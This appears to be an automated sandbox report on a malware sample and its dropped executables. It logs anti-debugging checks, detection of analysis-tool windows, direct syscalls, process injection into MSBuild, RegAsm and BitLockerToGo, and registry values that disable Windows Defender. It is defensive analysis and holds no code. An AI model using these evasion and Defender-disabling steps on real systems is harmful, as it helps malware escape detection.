Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Open window title or class name: regmonclass
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Open window title or class name: gbdyllo
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Open window title or class name: procmon_window_class
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Open window title or class name: ollydbg
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Open window title or class name: filemonclass
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks if the current process is being debugged
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Process queried: DebugObjectHandle Jump to behavior
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Process queried: DebugPort
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Process queried: DebugPort
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Process queried: DebugObjectHandle
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66635FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose, 9_2_66635FF0
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665E0E40 LoadLibraryW,GetProcAddress,__Init_thread_footer,FreeLibrary, 9_2_665E0E40
Enables debug privileges
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process token adjusted: Debug
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6660B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 9_2_6660B66C
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6660B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 9_2_6660B1F7
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: yHP2Z5SFUIZjI8pAKB_H3QUP.exe PID: 2876, type: MEMORYSTR
Allocates memory in foreign processes
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3000000 protect: page execute and read and write
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Disables Windows Defender (deletes autostart)
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Direct from: 0x140F3F370
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Direct from: 0x1417CF969
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtProtectVirtualMemory: Direct from: 0x7FF665F0AE38 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Direct from: 0x1417BB0DB
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtProtectVirtualMemory: Direct from: 0x7FF666189EAA Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtUnmapViewOfSection: Direct from: 0x7FF6661D6735 Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtProtectVirtualMemory: Direct from: 0x7FF6661E237C Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtClose: Direct from: 0x7FF665F19F3F
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtUnmapViewOfSection: Direct from: 0x140F15A29
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtProtectVirtualMemory: Direct from: 0x7FF6661A4CBA Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtClose: Direct from: 0x1417BEBA3
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtProtectVirtualMemory: Direct from: 0x7FF66622C0E0 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Direct from: 0x1417B892B
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Direct from: 0x1415D4112
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtMapViewOfSection: Direct from: 0x7FF665F425C3 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtOpenFile: Direct from: 0x1417DFD15
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtProtectVirtualMemory: Direct from: 0x7FF665F1FCD5 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Direct from: 0x140F13954
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Direct from: 0x140F6B015
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtProtectVirtualMemory: Direct from: 0x7FF6661CB64B Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtProtectVirtualMemory: Direct from: 0x7FF666206B29 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtMapViewOfSection: Direct from: 0x140F47AFD
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtProtectVirtualMemory: Direct from: 0x7FF6661EE0EC Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtProtectVirtualMemory: Indirect: 0x7FF665E72B4C Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Direct from: 0x140F27503
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Indirect: 0x140EFC4F6
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtProtectVirtualMemory: Direct from: 0x7FF665E83DC5 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Direct from: 0x140F65004
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe NtOpenFile: Direct from: 0x7FF6661F262F Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Direct from: 0x140F492EB
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe NtProtectVirtualMemory: Direct from: 0x1417DC7D7
Injects a PE file into a foreign processes
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3000000 value starts with: 4D5A
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Writes to foreign memory regions
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 456000 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 470000 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: DC4008 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 425000
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42E000
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 643000
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: BB8008
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3000000
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2F6D008
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44E000
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 107D008
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 424 -ip 424
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 424 -s 284
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe Process created: unknown unknown
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6660B341 cpuid 9_2_6660B341
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: GetLocaleInfoA, 8_2_0040515C
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: GetLocaleInfoA, 8_2_004051A8
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Queries volume information: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Queries volume information: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Queries volume information: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Queries volume information: C:\Windows VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Queries volume information: C:\Windows\AppReadiness VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_006B3486 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 7_2_006B3486
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_00405C44 GetVersionExA, 8_2_00405C44
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender real time protection (registry)
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Registry value created: Exclusions_Extensions 1 Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender Registry value created: DisableAntiSpyware 1 Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender Registry value created: DisableRoutinelyTakingAction 1 Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableBehaviorMonitoring 1 Jump to behavior
